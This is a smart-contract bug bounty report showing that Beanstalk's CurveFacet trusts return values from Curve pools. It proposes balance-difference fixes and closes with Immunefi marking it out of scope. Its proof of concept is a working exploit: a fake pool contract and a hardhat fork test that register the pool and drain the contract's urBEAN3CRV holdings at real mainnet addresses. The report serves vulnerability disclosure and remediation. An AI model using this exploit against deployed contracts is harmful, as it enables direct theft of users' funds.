Malicious pool can drain all funds
Report ID
#16898
Target
Report type
Smart Contract
Impacts
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Has PoC?
Yes
Bug Description
In CurveFacet contract, a malicious pool can drain all the funds in the contract. There are several places in the contract where Beanstalk trusts the return of calls to the Curve pool. I focused for the description of the bug and for the PoC in the exchange function, but the other impacted functions are also outlined in the Recommendations section of this report. The exchange function in the CurveFacet contract aims to exchange fromToken for toToken. Ultimately, the amount to transfer back to the sender is given by the call to the Curve pool.
...
if (toMode == LibTransfer.To.EXTERNAL && isStable(registry)) {
ICurvePoolR(pool).exchange(i, j, amountIn, minAmountOut, msg.sender);
} else {
uint256 amountOut;
if (hasNoReturnValue(pool)) {
uint256 beforeBalance = IERC20(toToken).balanceOf(address(this));
if (is3Pool(pool)) ICurvePoolNoReturn128(pool).exchange(i, j, amountIn, minAmountOut);
else ICurvePoolNoReturn(pool).exchange(uint256(i), uint256(j), amountIn, minAmountOut);
amountOut = IERC20(toToken).balanceOf(address(this)).sub(beforeBalance);
} else {
if (isStable(registry)) amountOut = ICurvePool(pool).exchange(i, j, amountIn, minAmountOut);
else amountOut = ICurvePoolC(pool).exchange(uint256(i), uint256(j), amountIn, minAmountOut);
}
LibTransfer.sendToken(IERC20(toToken), amountOut, msg.sender, toMode);
}
...As seen above, in the last line there is a transfer to the user of amountOut tokens.
If hasNoReturnValue(pool) == true, the amount is calculated correctly, because the contract just sends to the caller the increment in tokens after the call to exchange. But if it is false, there is no calculation, the contract would trust blindlessly the return from the call to exchange in the Curve pool, and if it is malicious, it could drain all the funds.
Impact
Critical. All the funds from the Beanstalk contract (valued at more than $228,000,000 at the time of writing this report) are at risk. Attacker must be able to create a Pool in curve with a custom pool implementation. Having an attack vector this critical that relies on a third party should not be allowed by Beanstalk.
Risk Breakdown
Difficulty to Exploit: Medium
Recommendation
Use the same approach seen above when hasNoReturnValue(pool) == true of always store the balanceBefore of the toToken and just transfer to the user amountOut = IERC20(toToken).balanceOf(address(this)).sub(beforeBalance);.
The updated exchange function would be like this:
function exchange(
address pool,
address registry,
address fromToken,
address toToken,
uint256 amountIn,
uint256 minAmountOut,
LibTransfer.From fromMode,
LibTransfer.To toMode
) external payable nonReentrant {
(int128 i, int128 j) = getIandJ(fromToken, toToken, pool, registry);
amountIn = IERC20(fromToken).receiveToken(
amountIn,
msg.sender,
fromMode
);
IERC20(fromToken).approveToken(pool, amountIn);
if (toMode == LibTransfer.To.EXTERNAL && isStable(registry)) {
ICurvePoolR(pool).exchange(i, j, amountIn, minAmountOut, msg.sender);
} else {
uint256 amountOut;
uint256 beforeBalance = IERC20(toToken).balanceOf(address(this));
if (hasNoReturnValue(pool)) {
if (is3Pool(pool)) ICurvePoolNoReturn128(pool).exchange(i, j, amountIn, minAmountOut);
else ICurvePoolNoReturn(pool).exchange(uint256(i), uint256(j), amountIn, minAmountOut);
} else {
if (isStable(registry)) ICurvePool(pool).exchange(i, j, amountIn, minAmountOut);
else ICurvePoolC(pool).exchange(uint256(i), uint256(j), amountIn, minAmountOut);
}
amountOut = IERC20(toToken).balanceOf(address(this)).sub(beforeBalance);
LibTransfer.sendToken(IERC20(toToken), amountOut, msg.sender, toMode);
}
}Other places in the contract that trust blindlessly the return of calls to the pool are:
exchangeUnderlying Change this snippet:
...
} else {
uint256 amountOut = ICurvePool(pool).exchange_underlying(
i,
j,
amountIn,
minAmountOut
);
msg.sender.increaseInternalBalance(IERC20(toToken), amountOut);
}
...With this:
...
} else {
uint256 beforeBalance = IERC20(toToken).balanceOf(address(this));
ICurvePool(pool).exchange_underlying(
i,
j,
amountIn,
minAmountOut
);
uint256 amountOut = IERC20(toToken).balanceOf(address(this)).sub(beforeBalance);
msg.sender.increaseInternalBalance(IERC20(toToken), amountOut);
}
...addLiquidity Change this snippet:
...
if (nCoins == 2) {
amountOut = ICurvePool2R(pool).add_liquidity(
[amounts[0], amounts[1]],
minAmountOut,
to
);
} else if (nCoins == 3) {
amountOut = ICurvePool3R(pool).add_liquidity(
[amounts[0], amounts[1], amounts[2]],
minAmountOut,
to
);
} else {
amountOut = ICurvePool4R(pool).add_liquidity(
[amounts[0], amounts[1], amounts[2], amounts[3]],
minAmountOut,
to
);
}
if (toMode == LibTransfer.To.INTERNAL)
msg.sender.increaseInternalBalance(IERC20(pool), amountOut);
...With this:
...
uint256 beforeBalance = IERC20(pool).balanceOf(address(this));
if (nCoins == 2) {
amountOut = ICurvePool2R(pool).add_liquidity(
[amounts[0], amounts[1]],
minAmountOut,
to
);
} else if (nCoins == 3) {
amountOut = ICurvePool3R(pool).add_liquidity(
[amounts[0], amounts[1], amounts[2]],
minAmountOut,
to
);
} else {
amountOut = ICurvePool4R(pool).add_liquidity(
[amounts[0], amounts[1], amounts[2], amounts[3]],
minAmountOut,
to
);
}
if (toMode == LibTransfer.To.INTERNAL){
amountOut = IERC20(pool).balanceOf(address(this)).sub(beforeBalance);
msg.sender.increaseInternalBalance(IERC20(pool), amountOut);
}
...removeLiquidityOneToken Change this snippet:
...
} else {
uint256 amountOut = ICurvePool(pool).remove_liquidity_one_coin(
amountIn,
i,
minAmountOut
);
msg.sender.increaseInternalBalance(IERC20(toToken), amountOut);
}
...With this:
...
} else {
uint256 beforeBalance = IERC20(toToken).balanceOf(address(this));
ICurvePool(pool).remove_liquidity_one_coin(
amountIn,
i,
minAmountOut
);
uint256 amountOut = IERC20(toToken).balanceOf(address(this)).sub(beforeBalance);
msg.sender.increaseInternalBalance(IERC20(toToken), amountOut);
}
...References
Proof of concept
I wrote a hardhat test to prove how a user that can create a fake pool could steal all the funds. The PoC, for simplicity only steals one token (in this case the urBEAN3CRV token), but the same method could be used by an attacker to steal the other holdings of the Beanstalk contract. First we have the contract that acts as our fake pool:
pragma solidity 0.8.0;
import "hardhat/console.sol";
contract Attack {
address private constant unripeBean3Crv = 0x1BEA3CcD22F4EBd3d37d731BA31Eeca95713716D;
address private constant bean = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
address public attacker;
constructor(address _attacker) {
attacker = _attacker;
}
function exchange(uint256, uint256, uint256, uint256 minAmountOut) external returns(uint256){
return minAmountOut;
}
function coins(uint256 idx) external returns(address){
if(idx == 0) return address(bean);
else if(idx == 1) return address(unripeBean3Crv);
else return address(bean);
}
function underlying_coins(uint256 idx) external returns(address){
if(idx == 0) return address(bean);
else if(idx == 1) return address(unripeBean3Crv);
else return address(bean);
}
function base_pool() external returns(address){
return address(this);
}
}And then the hardhat test that deploys the fake pool contract, creates the pool in Curve registry and steals the funds.
const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("Attack Beanstalk Curve Facet", function () {
this.timeout("25000");
let beanToken;
let unripeBean3CRV1;
let diamond;
let curveProxyAdmin;
let curveRegistry;
let ownershipAdmin;
let signers;
let signer1;
let Attack;
let attack;
before(async () => {
beanToken = await hre.ethers.getVerifiedContractAt("0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab");
unripeBean3CRV1 = await hre.ethers.getVerifiedContractAt("0x1BEA3CcD22F4EBd3d37d731BA31Eeca95713716D");
diamond = await hre.ethers.getVerifiedContractAt("0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5");
curveProxyAdmin = await hre.ethers.getVerifiedContractAt("0xEdf2C58E16Cc606Da1977e79E1e69e79C54fe242");
curveRegistry = await hre.ethers.getVerifiedContractAt("0x90E00ACe148ca3b23Ac1bC8C240C2a7Dd9c2d7f5");
ownershipAdmin = "0x7EeAC6CDdbd1D0B8aF061742D41877D7F707289a";
signers = await hre.ethers.getSigners();
signer1 = signers[0];
// Deploy fake pool contract
Attack = await ethers.getContractFactory("Attack");
attack = await Attack.deploy(signer1.address);
await attack.deployed();
});
it("Should be able to drain Beanstalk's urBEAN3CRV tokens", async function () {
// Impersonate curve admin
await network.provider.request({
method: "hardhat_impersonateAccount",
params: [ownershipAdmin],
});
const admin = await ethers.getSigner(ownershipAdmin);
// build data to create fake pool
const dataAddPool = '0x99209aa1' + ethers.utils.defaultAbiCoder.encode(
['address', 'uint256', 'address', 'bytes32', 'uint256', 'uint256', 'bool', 'bool', 'string'],
[
attack.address,
2,
'0x0000000000000000000000000000000000000001',
'0x0000000000000000000000000000000000000000000000000000000000000000',
6,
6,
false,
false,
"ATTACK"
]
).slice(2);
// execute pool creation
await curveProxyAdmin.connect(admin).execute(
curveRegistry.address,
dataAddPool);
// construct the data payload to call the exchange function of the CurveFacet (selector 0x7579e160)
const dataExchange = '0x7579e160' + ethers.utils.defaultAbiCoder.encode(
['address', 'address', 'address', 'address', 'uint256', 'uint256', 'uint8', 'uint8'],
[
attack.address, // Pool address (our malicious contract)
curveRegistry.address, // The registry where we registered our pool
beanToken.address, // fromToken
unripeBean3CRV1.address, // toToken
0, // amountIn
await unripeBean3CRV1.balanceOf(diamond.address), // minAmountOut (this will be the value returned when calling the pool's exchange method)
0, // FromMode
0 // ToMode
]
).slice(2);
// call CurveFacet exchange method through the diamond
const tx = await signer1.sendTransaction({
to: diamond.address,
from: signer1._address,
data: dataExchange
});
// The amount stolen: 120315781829116 (with 6 decimals, so 120,315,781 urBEAN3CRV tokens)
console.log(await unripeBean3CRV1.balanceOf(signer1.address));
// We check the diamond contract is empty
console.log(await unripeBean3CRV1.balanceOf(diamond.address));
});
});Immunefi Response
Immunefi has reviewed this vulnerability report and decided to close since being out of scope for Beanstalk bug bounty program.
- claimed impact by the whitehat is in scope for the bug bounty program
- claimed asset by the whitehat
is not in scopefor the bug bounty program- PoC has been submitted to the project
- claimed severity is in scope for the bug bounty program
Since this bug bounty program does not require Immunefi's triaging, note that Immunefi does not:
- check if whitehat's claims are factually correct
- check PoC to understand the validity
- assess the submission's severity
These activities are the project's responsibility.
The project will now be automatically subscribed and receive a report of the closed submission and can evaluate if they are interested in re-opening it. However, note that they are not under any obligation to do so.